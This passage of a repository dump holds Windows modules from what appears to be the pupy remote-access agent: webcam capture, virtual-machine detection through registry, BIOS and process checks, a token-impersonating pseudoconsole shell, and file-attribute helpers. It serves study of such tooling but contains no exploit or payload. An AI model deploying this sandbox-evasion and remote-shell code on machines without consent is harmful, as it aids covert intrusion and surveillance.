PyMem_Free(buffer);\r\n\r\n    return value;\r\n}\r\n\r\n\r\nstatic PyMethodDef Dev_methods[] = {\r\n    {\"displaypropertypage\",             (PyCFunction)Dev_displaypropertypage,               METH_VARARGS},\r\n    {\"displaycapturefilterproperties\",  (PyCFunction)Dev_displaycapturefilterproperties,    METH_VARARGS},\r\n    {\"displaycapturepinproperties\",     (PyCFunction)Dev_displaycapturepinproperties,       METH_VARARGS},\r\n    {\"getdisplayname\",                  (PyCFunction)Dev_getdisplayname,                    METH_VARARGS},\r\n    {\"setresolution\",                   (PyCFunction)Dev_setresolution,                     METH_VARARGS},\r\n    {\"getbuffer\",                       (PyCFunction)Dev_getbuffer,                         METH_VARARGS},\r\n    {NULL,                              NULL}           /* sentinel */\r\n};\r\n\r\n\r\nstatic PyObject *\r\nDev_getattr(DevObject *self, char *name)\r\n{\r\n    return Py_FindMethod(Dev_methods, (PyObject *)self, name);\r\n}\r\n\r\n\r\nstatichere PyTypeObject Dev_Type = {\r\n    /* The ob_type field must be initialized in the module init function\r\n     * to be portable to Windows without using C++. */\r\n    PyObject_HEAD_INIT(NULL)\r\n    0,                        /*ob_size*/\r\n    \"Dev\",                    /*tp_name*/\r\n    sizeof(DevObject),        /*tp_basicsize*/\r\n    0,                        /*tp_itemsize*/\r\n    /* methods */\r\n    (destructor)Dev_dealloc,  /*tp_dealloc*/\r\n    0,                        /*tp_print*/\r\n    (getattrfunc)Dev_getattr, /*tp_getattr*/\r\n    (setattrfunc)0,           /*tp_setattr*/\r\n    0,                        /*tp_compare*/\r\n    0,                        /*tp_repr*/\r\n    0,                        /*tp_as_number*/\r\n    0,                        /*tp_as_sequence*/\r\n    0,                        /*tp_as_mapping*/\r\n    0,                        /*tp_hash*/\r\n};\r\n\r\n\r\nstatic PyObject *\r\nvidcap_new_Dev(PyObject *self, PyObject *args)\r\n{\r\n    DevObject *rv;\r\n\r\n    rv = newDevObject(args);\r\n    if ( rv == NULL )\r\n        return NULL;\r\n    return (PyObject *)rv;\r\n}\r\n\r\n\r\nstatic PyMethodDef vidcap_methods[] = {\r\n    {\"new_Dev\", vidcap_new_Dev, METH_VARARGS},\r\n    {NULL,      NULL}        /* Sentinel */\r\n};\r\n\r\n\r\nextern \"C\"\r\n\r\n/* platform independent */\r\n#ifdef MS_WIN32\r\n__declspec(dllexport)\r\n#endif\r\n\r\nvoid\r\ninitvidcap(void)\r\n{\r\n    Dev_Type.ob_type = &PyType_Type;\r\n\r\n    PyObject *m, *d;\r\n\r\n    m = Py_InitModule(\"vidcap\", vidcap_methods);\r\n    d = PyModule_GetDict(m);\r\n    VidcapError = PyErr_NewException(\"vidcap.Error\", NULL, NULL);\r\n    PyDict_SetItemString(d, \"error\", VidcapError);\r\n\r\n    HRESULT hr;\r\n\r\n    // Initialize COM.\r\n    hr = CoInitialize(NULL);\r\n    if (FAILED(hr))\r\n    {\r\n        PyErr_SetString(VidcapError, \"Initialization of COM failed.\");\r\n        return;\r\n    }\r\n\r\n    // Register Release COM at exit.\r\n    if ( Py_AtExit( (void (__cdecl *)(void))CoUninitialize ) )\r\n    {\r\n        PyErr_SetString(VidcapError, \"Registering CoUninitialize at exit failed.\");\r\n        CoUninitialize();\r\n        return;\r\n    }\r\n}\r\n\r\n"
  },
  {
    "path": "pupy/packages/windows/all/checkvm.py",
    "content": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport _winreg\nimport psutil\n\nHKEY_LOCAL_MACHINE = -2147483646\nKEY_READ           = 131097\n\n\nclass Check_VM():\n    def __init__(self):\n        self.process_list = []\n\n    def get_process_list(self):\n        if not self.process_list:\n            for p in psutil.process_iter():\n                self.process_list.append(p.name())\n\n        return self.process_list\n\n    def check_existing_key(self, k, key):\n        try:\n            hkey = _winreg.OpenKey(k, key, 0, KEY_READ)\n            return hkey\n        except:\n            return False\n\n    # Hyper-V\n    def check_hyper_V(self):\n\n        keys = [\n            'SOFTWARE\\\\Microsoft\\\\Hyper-V',\n            'SOFTWARE\\\\Microsoft\\\\VirtualMachine',\n            'HARDWARE\\\\ACPI\\\\FADT\\\\vrtual',\n            'HARDWARE\\\\ACPI\\\\RSDT\\\\vrtual',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\vmicheartbeat',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\vmicvss',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\vmicshutdown',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\vmiexchange',\n        ]\n        for key in keys:\n            h = self.check_existing_key(HKEY_LOCAL_MACHINE, key)\n            if h:\n                _winreg.CloseKey(h)\n                return True\n\n        h = self.check_existing_key(HKEY_LOCAL_MACHINE, 'HARDWARE\\\\DESCRIPTION\\\\System')\n        if h:\n            string = str(_winreg.QueryValueEx(h, 'SystemBiosVersion')[0])\n            if 'vrtual' in string:\n                return True\n\n        return False\n\n    # VMWARE\n    def check_VMWare(self):\n\n        keys = [\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\vmdebug',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\vmmouse',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\VMTools',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\VMMEMCTL',\n        ]\n        for key in keys:\n            h = self.check_existing_key(HKEY_LOCAL_MACHINE, key)\n            if h:\n                _winreg.CloseKey(h)\n                return True\n\n        h = self.check_existing_key(HKEY_LOCAL_MACHINE, 'HARDWARE\\\\DESCRIPTION\\\\System\\\\BIOS')\n        if h:\n            string = str(_winreg.QueryValueEx(h, 'SystemManufacturer')[0])\n            if 'vmware' in string:\n                return True\n\n        plist = self.get_process_list()\n        if 'vmwareuser.exe' in plist or 'vmwaretray.exe' in plist or 'vmtoolsd.exe' in plist:\n            return True\n\n    # Virtual PC\n    def check_Virtual_PC(self):\n        plist = self.get_process_list()\n        if 'vmusrvc.exe' in plist or 'vmsrvc.exe' in plist or 'vmwareuser.exe' in plist or 'vmwaretray.exe' in plist:\n            return True\n\n        keys = [\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\vpc-s3',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\vpcuhub',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\msvmmouf'\n        ]\n        for key in keys:\n            h = self.check_existing_key(HKEY_LOCAL_MACHINE, key)\n            if h:\n                _winreg.CloseKey(h)\n                return True\n\n    # Virtual Box\n    def check_Virtual_Box(self):\n        plist = self.get_process_list()\n        if 'vboxservice.exe' in plist or 'vboxtray.exe' in plist:\n            return True\n\n        keys = [\n            'HARDWARE\\\\ACPI\\\\FADT\\\\vbox_',\n            'HARDWARE\\\\ACPI\\\\RSDT\\\\vbox_',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\VBoxMouse',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\VBoxGuest',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\VBoxService',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\VBoxSF',\n        ]\n        for key in keys:\n            h = self.check_existing_key(HKEY_LOCAL_MACHINE, key)\n            if h:\n                _winreg.CloseKey(h)\n                return True\n\n        h = self.check_existing_key(HKEY_LOCAL_MACHINE, 'HARDWARE\\\\DESCRIPTION\\\\System')\n        if h:\n            string = str(_winreg.QueryValueEx(h, 'SystemBiosVersion')[0])\n            if 'vbox' in string:\n                return True\n\n    # Xen\n    def check_xen(self):\n        plist = self.get_process_list()\n        if 'xenservice.exe' in plist:\n            return True\n\n        keys = [\n            'HARDWARE\\\\ACPI\\\\FADT\\\\xen',\n            'HARDWARE\\\\ACPI\\\\DSDT\\\\xen',\n            'HARDWARE\\\\ACPI\\\\RSDT\\\\xen',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\xenevtchn',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\xennet',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\xennet6',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\xensvc',\n            'SYSTEM\\\\ControlSet001\\\\Services\\\\xenvdb',\n        ]\n        for key in keys:\n            h = self.check_existing_key(HKEY_LOCAL_MACHINE, key)\n            if h:\n                _winreg.CloseKey(h)\n                return True\n\n    # QEMU\n    def check_qemu(self):\n        h = self.check_existing_key(HKEY_LOCAL_MACHINE, 'HARDWARE\\\\DESCRIPTION\\\\System\\\\CentralProcessor\\\\0')\n        if h:\n            string = str(_winreg.QueryValueEx(h, 'ProcessorNameString')[0])\n            if 'vmware' in string:\n                return True\n        h = self.check_existing_key(HKEY_LOCAL_MACHINE, 'HARDWARE\\\\DESCRIPTION\\\\System\\\\BIOS')\n        if h:\n            string = str(_winreg.QueryValueEx(h, 'SystemManufacturer')[0])\n            if 'qemu' in string.lower():\n                return True\n\n    def run(self):\n        vm = []\n        if self.check_hyper_V():\n            vm.append('This is a Hyper-V machine.')\n\n        if self.check_VMWare():\n            vm.append('This is a VMWare machine.')\n\n        if self.check_Virtual_PC():\n            vm.append('This is a Virtual PC.')\n\n        if self.check_Virtual_Box():\n            vm.append('This is a Virtual Box.')\n\n        if self.check_xen():\n            vm.append('This is a Xen Machine.')\n\n        if self.check_qemu():\n            vm.append('This is a Qemu machine.')\n\n        return vm\n"
  },
  {
    "path": "pupy/packages/windows/all/conpty.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nimport pupy.agent\n\nfrom threading import Thread\n\nfrom ctypes import (\n    c_void_p, byref, Structure, HRESULT, POINTER,\n    WinError, get_last_error, create_string_buffer\n)\n\nfrom ctypes.wintypes import (\n    HANDLE, DWORD, SHORT, BOOL\n)\n\nfrom pupwinutils.security import (\n    CloseHandle, CreatePipe, TerminateProcess, WaitForSingleObject,\n    ReadFile, WriteFile,\n    start_proc_with_token, kernel32,\n    StartupInfoAttribute, GetExitCodeProcess,\n    impersonate_token, CreateFile,\n    PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, S_OK,\n    INVALID_HANDLE_VALUE, WAIT_OBJECT_0, WAIT_TIMEOUT,\n    STILL_ACTIVE, INVALID_HANDLE, GENERIC_READ, OPEN_EXISTING,\n\n)\n\nif hasattr(pupy, 'get_logger'):\n    logger = pupy.get_logger('conpty')\nelse:\n    import logging\n    logger = logging.getLogger('conpty')\n\nPHANDLE = POINTER(HANDLE)\nHPCON = c_void_p\n\nENABLE_PROCESSED_OUTPUT = 0x1\nENABLE_WRAP_AT_EOL_OUTPUT = 0x2\nENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x4\nENABLE_MOUSE_INPUT = 0x10\n\n\nclass COORD(Structure):\n    _fields_ = (\n        ('X', SHORT),\n        ('Y', SHORT)\n    )\n\n\ntry:\n    GetConsoleMode = kernel32.GetConsoleMode\n    GetConsoleMode.restype = BOOL\n    GetConsoleMode.argtypes = (\n        HANDLE, POINTER(DWORD)\n    )\n\n    GetFileType = kernel32.GetFileType\n    GetFileType.restype = DWORD\n    GetFileType.argtypes = (HANDLE,)\n\n    GetStdHandle = kernel32.GetStdHandle\n    GetStdHandle.restype = HANDLE\n    GetStdHandle.argtype = (DWORD,)\n\n    SetStdHandle = kernel32.SetStdHandle\n    SetStdHandle.restype = HANDLE\n    SetStdHandle.argtype = (DWORD, HANDLE)\n\n    SetConsoleMode = kernel32.SetConsoleMode\n    SetConsoleMode.restype = BOOL\n    SetConsoleMode.argtypes = (\n        HANDLE, DWORD\n    )\n\n    CreatePseudoConsole = kernel32.CreatePseudoConsole\n    CreatePseudoConsole.restype = HRESULT\n    CreatePseudoConsole.argtypes = (\n        COORD, HANDLE, HANDLE, DWORD, POINTER(HPCON)\n    )\n\n    ResizePseudoConsole = kernel32.ResizePseudoConsole\n    ResizePseudoConsole.result = HRESULT\n    ResizePseudoConsole.argtypes = (\n        HPCON, COORD\n    )\n\n    ClosePseudoConsole = kernel32.ClosePseudoConsole\n    ClosePseudoConsole.argtypes = (HPCON,)\n\nexcept AttributeError:\n    raise ImportError('PseudoConsole is not supported')\n\n\ndef fix_stdin():\n    hHandleStdin = GetStdHandle(-10)\n    if hHandleStdin == INVALID_HANDLE:\n        return\n\n    hStdinFileType = GetFileType(hHandleStdin)\n    if hStdinFileType != 3:\n        return\n\n    # Need to reopen CONNIN$\n    hHandleStdin = CreateFile(\n        'CONIN$', GENERIC_READ, OPEN_EXISTING,\n        0, 4, 0, 0\n    )\n\n    if hHandleStdin != INVALID_HANDLE:\n        SetStdHandle(-10, hHandleStdin)\n\n\nclass ConPTY(object):\n    __slots__ = (\n        '_closed', '_conout_pipe', '_conin_pipe', '_pty', '_lpInfo', '_reader'\n    )\n\n    def _create_pty(self, pty_size):\n        hPipePTYOut = HANDLE(INVALID_HANDLE_VALUE)\n        hPipePTYIn = HANDLE(INVALID_HANDLE_VALUE)\n\n        hPipeOut = HANDLE(INVALID_HANDLE_VALUE)\n        hPipeIn = HANDLE(INVALID_HANDLE_VALUE)\n\n        hPTY = HPCON(INVALID_HANDLE_VALUE)\n\n        try:\n            if not CreatePipe(byref(hPipePTYIn), byref(hPipeIn), None, 0):\n                raise WinError(get_last_error())\n\n            if not CreatePipe(byref(hPipeOut), byref(hPipePTYOut), None, 0):\n                raise WinError(get_last_error())\n\n            if CreatePseudoConsole(\n                    COORD(*pty_size), hPipePTYIn, hPipePTYOut, 0, byref(hPTY)) != S_OK:\n                raise WinError(get_last_error())\n\n            logger.info('hPTY: %x', hPTY.value)\n\n            if hPTY.value == INVALID_HANDLE_VALUE:\n                raise WinError(get_last_error())\n\n        except WinError:\n            for handle in (hPipePTYOut, hPipePTYIn, hPipeOut, hPipeIn):\n                if handle.value != INVALID_HANDLE_VALUE:\n                    CloseHandle(handle)\n\n            raise\n\n        CloseHandle(hPipePTYIn)\n        CloseHandle(hPipePTYOut)\n\n        self._pty = hPTY\n        self._conout_pipe = hPipeOut\n        self._conin_pipe = hPipeIn\n\n    def __init__(self, program,\n            cmdline=None, cwd=None, env=None, htoken=None,\n            pty_flags=0, pty_size=(80,25)):\n\n        self._closed = False\n        self._lpInfo = None\n        self._create_pty(pty_size)\n\n        requested_htoken = None\n\n        if htoken:\n            caller_thread_htoken, requested_htoken = htoken\n            impersonate_token(caller_thread_htoken)\n\n        fix_stdin()\n\n        self._lpInfo = start_proc_with_token(\n            cmdline, requested_htoken,\n            lpInfo=True,\n            # Important - will not work otherwise\n            hidden=False,\n            application=program,\n            attributes=[\n                StartupInfoAttribute(\n                    PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,\n                    self._pty\n                )\n            ]\n        )\n\n    @property\n    def pid(self):\n        return self._lpInfo.dwProcessId\n\n    def active(self):\n        if not self._lpInfo:\n            logger.error('Child process was not initialized')\n            return None\n\n        status = DWORD()\n        return GetExitCodeProcess(\n            self._lpInfo.hProcess, byref(status)) and status.value == STILL_ACTIVE\n\n    def _read_loop(self, read_cb):\n        while True:\n            try:\n                data = self.read()\n                if not data:\n                    break\n\n                read_cb(data)\n\n            except Exception as e:\n                logger.exception('Read from pipe: %s', e)\n                break\n\n    def read_loop(self, read_cb):\n        logger.info('Start info loop')\n\n        self._reader = Thread(target=self._read_loop, args=(read_cb,))\n        self._reader.start()\n\n        while self.active() and self._reader.is_alive():\n            result = WaitForSingleObject(self._lpInfo.hProcess, 1000)\n            if result == WAIT_TIMEOUT:\n                logger.info('Timeout!')\n                continue\n\n            elif result == WAIT_OBJECT_0:\n                status = DWORD(-1)\n                GetExitCodeProcess(self._lpInfo.hProcess, byref(status))\n                logger.info(\n                    'Exited (%08x, hPTY=%x)!', status.value, self._pty.value\n                )\n                break\n\n            else:\n                raise WinError(get_last_error())\n\n        CloseHandle(self._conin_pipe)\n        self._conin_pipe = INVALID_HANDLE_VALUE\n\n        logger.info('Everything completed')\n\n    def write(self, data):\n        if self._closed or self._conin_pipe == INVALID_HANDLE_VALUE:\n            logger.info('Write - invalid state')\n            return False\n\n        written = DWORD()\n\n        if not WriteFile(self._conin_pipe, data, len(data), byref(written), None):\n            error = get_last_error()\n            logger.info('Write error (%d)', error)\n            raise WinError(error)\n\n    def read(self, amount=8192):\n        buffer = create_string_buffer(amount)\n        read = DWORD()\n\n        if not ReadFile(self._conout_pipe, buffer, amount, byref(read), None):\n            error = get_last_error()\n            logger.info('Read error (%d)', error)\n\n            # Closed pipe\n            if error == 109:\n                return ''\n\n            raise WinError(error)\n\n        if not read.value:\n            return ''\n\n        return buffer[:read.value]\n\n    def resize(self, cols, rows):\n        if self._closed:\n            return False\n\n        if ResizePseudoConsole(self._pty, COORD(cols, rows)) != S_OK:\n            error = get_last_error()\n            logger.info('Resize error (%d)', error)\n            raise WinError(error)\n\n    def close(self):\n        if self._closed:\n            return False\n\n        self._closed = True\n\n        if self._conin_pipe != INVALID_HANDLE_VALUE:\n            CloseHandle(self._conin_pipe)\n\n        if self.active():\n            TerminateProcess(self._lpInfo.hProcess, 0)\n            CloseHandle(self._lpInfo.hProcess)\n            CloseHandle(self._lpInfo.hThread)\n\n        if self.active():\n            logger.error('Child process was not terminated')\n\n        if self._pty != INVALID_HANDLE_VALUE:\n            ClosePseudoConsole(self._pty)\n\n        if self._reader:\n            # Read all the pipe if there is any to read\n            self._reader.join()\n\n        if self._conout_pipe.value != INVALID_HANDLE_VALUE:\n            CloseHandle(self._conout_pipe)\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, *args):\n        self.close()\n"
  },
  {
    "path": "pupy/packages/windows/all/fsutils.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n__all__ = (\n    'readlink', 'lstat', 'has_xattrs', 'uidgid',\n    'username_to_uid', 'groupname_to_gid',\n    'NoUidGidMapping', 'NoSuchUser', 'NoSuchGroup'\n)\n\nclass NoUidGidMapping(Exception):\n    pass\n\nclass NoSuchUser(NoUidGidMapping):\n    pass\n\nclass NoSuchGroup(NoUidGidMapping):\n    pass\n\nfrom junctions import readlink, lstat\n\ntry:\n    from ntfs_streams import get_streams\n\n    def has_xattrs(path):\n        try:\n            return get_streams(path)\n        except (OSError, IOError, WindowsError):\n            return None\n\nexcept ImportError:\n    def has_xattrs(path):\n        return None\n\ntry:\n    from pupwinutils.security import getfileowner, sidbyname\n\n    def uidgid(path, item, as_text=True):\n        try:\n            owner, group = getfileowner(path, as_sid=not as_text)\n            return owner[0], group[0]\n        except (OSError, IOError, WindowsError):\n            return '?', '?'\n\n    def username_to_uid(username):\n        try:\n            sid = sidbyname(username)\n            if not sid:\n                raise NoSuchUser(username)\n\n        except WindowsError:\n            raise NoSuchUser(username)\n\n    def groupname_to_gid(groupname):\n        try:\n            sid = sidbyname(groupname)\n            if not sid:\n                raise NoSuchUser(groupname)\n\n        except WindowsError:\n            raise NoSuchGroup(groupname)\n\nexcept ImportError:\n    def uidgid(path, item):\n        return '', ''\n\n    def username_to_uid(username):\n        raise NoSuchUser(username)\n\n    def groupname_to_gid(groupname):\n        raise NoSuchGroup(groupname)\n"
  },
  {
    "path": "pupy/packages/windows/all/fsutils_ext.py",
    "content": "# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom fsutils import has_xattrs\n\nfrom io import open\nfrom os import stat, path\nfrom junctions import islink, readlink\nfrom struct import pack, unpack\n\nfrom pupyutils.basic_cmds import mode_to_letter\nfrom pupwinutils.security import (\n    getfileowneracls, kernel32,\n    get_last_error, WinError, byref, cast, sizeof, addressof,\n    WinDLL, create_string_buffer, Structure, _bit,\n    BOOL, WORD, DWORD, LPCWSTR, LPVOID, PDWORD,\n    POINTER, HANDLE, BYTE, ULONG\n)\n\nfrom pupy.network.lib.convcompat import fix_exception_encoding\n\nif sys.version_info.major > 2:\n    xrange = range\n    unicode = str\n\nFILE_VER_GET_LOCALISED = 0x01\nFILE_VER_GET_NEUTRAL = 0x02\nFILE_VER_GET_PREFETCHED = 0x04\n\nVS_FF_DEBUG = 0x00000001\nVS_FF_INFOINFERRED = 0x00000010\nVS_FF_PATCHED = 0x00000004\nVS_FF_PRERELEASE = 0x00000002\nVS_FF_PRIVATEBUILD = 0x00000008\nVS_FF_SPECIALBUILD = 0x00000020\n\nVS_FF_STR = {\n    VS_FF_DEBUG: 'DEBUG',\n    VS_FF_INFOINFERRED: 'INFOINFERRED',\n    VS_FF_PATCHED: 'PATCHED',\n    VS_FF_PRERELEASE: 'PRERELEASE',\n    VS_FF_PRIVATEBUILD: 'PRIVATEBUILD',\n    VS_FF_SPECIALBUILD: 'SPECIALBUILD'\n}\n\nVFT_APP = 0x00000001\nVFT_DLL = 0x00000002\nVFT_DRV = 0x00000003\nVFT_FONT = 0x00000004\nVFT_STATIC_LIB = 0x00000007\nVFT_UNKNOWN = 0x00000000\nVFT_VXD = 0x00000005\n\nVFT_STR = {\n    VFT_APP: 'APP',\n    VFT_DLL: 'DLL',\n    VFT_DRV: 'DRV',\n    VFT_FONT: 'FONT',\n    VFT_STATIC_LIB: 'STATIC_LIB',\n    VFT_UNKNOWN: 'UNKNOWN',\n    VFT_VXD: 'VXD'\n}\n\nVFT2_DRV_COMM = 0x0000000A\nVFT2_DRV_DISPLAY = 0x00000004\nVFT2_DRV_INSTALLABLE = 0x00000008\nVFT2_DRV_KEYBOARD = 0x00000002\nVFT2_DRV_LANGUAGE = 0x00000003\nVFT2_DRV_MOUSE = 0x00000005\nVFT2_DRV_NETWORK = 0x00000006\nVFT2_DRV_PRINTER = 0x00000001\nVFT2_DRV_SOUND = 0x00000009\nVFT2_DRV_SYSTEM = 0x00000007\nVFT2_DRV_VERSIONED_PRINTER = 0x0000000C\nVFT2_UNKNOWN = 0x00000000\n\nVFT2_DRV_STR = {\n    VFT2_DRV_COMM: 'COMM',\n    VFT2_DRV_DISPLAY: 'DISPLAY',\n    VFT2_DRV_INSTALLABLE: 'INSTALLABLE',\n    VFT2_DRV_KEYBOARD: 'KEYBOARD',\n    VFT2_DRV_LANGUAGE: 'LANGUAGE',\n    VFT2_DRV_MOUSE: 'MOUSE',\n    VFT2_DRV_NETWORK: 'NETWORK',\n    VFT2_DRV_PRINTER: 'PRINTER',\n    VFT2_DRV_SOUND: 'SOUND',\n    VFT2_DRV_SYSTEM: 'SYSTEM',\n    VFT2_DRV_VERSIONED_PRINTER: 'VERSIONED_PRINTER',\n    VFT2_UNKNOWN: 'UNKNOWN',\n}\n\nVFT2_FONT_RASTER = 0x00000001\nVFT2_FONT_TRUETYPE = 0x00000003\nVFT2_FONT_VECTOR = 0x00000002\n\nVFT2_FONT_STR = {\n    VFT2_FONT_RASTER: 'RASTER',\n    VFT2_FONT_TRUETYPE: 'TRUETYPE',\n    VFT2_FONT_VECTOR: 'VECTOR'\n}\n\nLOCALIZED_STRINGS = (\n    'Comments',\n    'InternalName',\n    'ProductName',\n    'CompanyName',\n    'LegalCopyright',\n    'ProductVersion',\n    'FileDescription',\n    'LegalTrademarks',\n    'PrivateBuild',\n    'FileVersion',\n    'OriginalFilename',\n    'SpecialBuild'\n)\n\nCERT_QUERY_OBJECT_FILE = 1\n\nCERT_QUERY_CONTENT_CERT = 1\nCERT_QUERY_CONTENT_CTL = 2\nCERT_QUERY_CONTENT_CRL = 3\nCERT_QUERY_CONTENT_SERIALIZED_STORE = 4\nCERT_QUERY_CONTENT_SERIALIZED_CERT = 5\nCERT_QUERY_CONTENT_SERIALIZED_CTL = 6\nCERT_QUERY_CONTENT_SERIALIZED_CRL = 7\nCERT_QUERY_CONTENT_PKCS7_SIGNED = 8\nCERT_QUERY_CONTENT_PKCS7_UNSIGNED = 9\nCERT_QUERY_CONTENT_PKCS7_SIGNED_EMBED = 10\nCERT_QUERY_CONTENT_PKCS10 = 11\nCERT_QUERY_CONTENT_PFX = 12\nCERT_QUERY_CONTENT_CERT_PAIR = 13\n\nCERT_QUERY_CONTENT_FLAG_CERT = (\n    1 << CERT_QUERY_CONTENT_CERT)\nCERT_QUERY_CONTENT_FLAG_CTL = (\n    1 << CERT_QUERY_CONTENT_CTL)\nCERT_QUERY_CONTENT_FLAG_CRL = (\n    1 << CERT_QUERY_CONTENT_CRL)\nCERT_QUERY_CONTENT_FLAG_SERIALIZED_STORE = (\n    1 << CERT_QUERY_CONTENT_SERIALIZED_STORE)\nCERT_QUERY_CONTENT_FLAG_SERIALIZED_CERT = (\n    1 << CERT_QUERY_CONTENT_SERIALIZED_CERT)\nCERT_QUERY_CONTENT_FLAG_SERIALIZED_CTL = (\n    1 << CERT_QUERY_CONTENT_SERIALIZED_CTL)\nCERT_QUERY_CONTENT_FLAG_SERIALIZED_CRL = (\n    1 << CERT_QUERY_CONTENT_SERIALIZED_CRL)\nCERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED = (\n    1 << CERT_QUERY_CONTENT_PKCS7_SIGNED)\nCERT_QUERY_CONTENT_FLAG_PKCS7_UNSIGNED = (\n    1 << CERT_QUERY_CONTENT_PKCS7_UNSIGNED)\nCERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED = (\n    1 << CERT_QUERY_CONTENT_PKCS7_SIGNED_EMBED)\nCERT_QUERY_CONTENT_FLAG_PKCS10 = (\n    1 << CERT_QUERY_CONTENT_PKCS10)\nCERT_QUERY_CONTENT_FLAG_PFX = (\n    1 << CERT_QUERY_CONTENT_PFX)\nCERT_QUERY_CONTENT_FLAG_CERT_PAIR = (\n    1 << CERT_QUERY_CONTENT_CERT_PAIR)\n\nCERT_QUERY_CONTENT_FLAG_ALL = \\\n CERT_QUERY_CONTENT_FLAG_CERT | \\\n CERT_QUERY_CONTENT_FLAG_CTL | \\\n CERT_QUERY_CONTENT_FLAG_CRL | \\\n CERT_QUERY_CONTENT_FLAG_SERIALIZED_STORE | \\\n CERT_QUERY_CONTENT_FLAG_SERIALIZED_CERT | \\\n CERT_QUERY_CONTENT_FLAG_SERIALIZED_CTL | \\\n CERT_QUERY_CONTENT_FLAG_SERIALIZED_CRL | \\\n CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED | \\\n CERT_QUERY_CONTENT_FLAG_PKCS7_UNSIGNED | \\\n CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED | \\\n CERT_QUERY_CONTENT_FLAG_PKCS10 | \\\n CERT_QUERY_CONTENT_FLAG_PFX | \\\n CERT_QUERY_CONTENT_FLAG_CERT_PAIR\n\nCERT_QUERY_FORMAT_BINARY = 1\nCERT_QUERY_FORMAT_BASE64_ENCODED = 2\nCERT_QUERY_FORMAT_ASN_ASCII_HEX_ENCODED = 3\n\nCERT_QUERY_FORMAT_FLAG_BINARY = (1 << CERT_QUERY_FORMAT_BINARY)\nCERT_QUERY_FORMAT_FLAG_BASE64_ENCODED = (1 << CERT_QUERY_FORMAT_BASE64_ENCODED)\nCERT_QUERY_FORMAT_FLAG_ASN_ASCII_HEX_ENCODED = (\n    1 << CERT_QUERY_FORMAT_ASN_ASCII_HEX_ENCODED)\n\nCMSG_ATTR_CERT_COUNT_PARAM = 11\nCMSG_ATTR_CERT_PARAM = 12\n\nWTD_UI_NONE = 2\nWTD_REVOKE_NONE = 0\nWTD_CHOICE_FILE = 1\nWTD_STATEACTION_VERIFY = 1\n\nTRUST_E_NOSIGNATURE = 0x800B0100\nTRUST_E_FAIL = 0x800B010B\nTRUST_E_EXPLICIT_DISTRUST = 0x800B0111\nTRUST_E_SYSTEM_ERROR = 0x80096001\nTRUST_E_NO_SIGNER_CERT = 0x80096002\nTRUST_E_COUNTER_SIGNER = 0x80096003\nTRUST_E_CERT_SIGNATURE = 0x80096004\nTRUST_E_TIME_STAMP = 0x80096005\nTRUST_E_BAD_DIGEST = 0x80096010\nTRUST_E_BASIC_CONSTRAINTS = 0x80096019\nTRUST_E_FINANCIAL_CRITERIA = 0x8009601E\nTRUST_E_PROVIDER_UNKNOWN = 0x800B0001\nTRUST_E_ACTION_UNKNOWN = 0x800B0002\nTRUST_E_SUBJECT_FORM_UNKNOWN = 0x800B0003\nTRUST_E_SUBJECT_NOT_TRUSTED = 0x800B0004\nTRUST_E_NOSIGNATURE = 0x800B0100\nCERT_E_UNTRUSTEDROOT = 0x800B0109\nCERT_E_CHAINING = 0x800B010A\n\nTRUST_E_STR = {\n    TRUST_E_NOSIGNATURE: 'NOSIGNATURE',\n    TRUST_E_FAIL: 'FAIL',\n    TRUST_E_EXPLICIT_DISTRUST: 'EXPLICIT_DISTRUST',\n    TRUST_E_SYSTEM_ERROR: 'SYSTEM_ERROR',\n    TRUST_E_NO_SIGNER_CERT: 'NO_SIGNER_CERT',\n    TRUST_E_COUNTER_SIGNER: 'COUNTER_SIGNER',\n    TRUST_E_CERT_SIGNATURE: 'CERT_SIGNATURE',\n    TRUST_E_TIME_STAMP: 'TIME_STAMP',\n    TRUST_E_BAD_DIGEST: 'BAD_DIGEST',\n    TRUST_E_BASIC_CONSTRAINTS: 'BASIC_CONSTRAINTS',\n    TRUST_E_FINANCIAL_CRITERIA: 'FINANCIAL_CRITERIA',\n    TRUST_E_PROVIDER_UNKNOWN: 'PROVIDER_UNKNOWN',\n    TRUST_E_ACTION_UNKNOWN: 'ACTION_UNKNOWN',\n    TRUST_E_SUBJECT_FORM_UNKNOWN: 'SUBJECT_FORM_UNKNOWN',\n    TRUST_E_SUBJECT_NOT_TRUSTED: 'SUBJECT_NOT_TRUSTED',\n    TRUST_E_NOSIGNATURE: 'NOSIGNATURE',\n    CERT_E_UNTRUSTEDROOT: 'UNTRUSTEDROOT',\n    CERT_E_CHAINING: 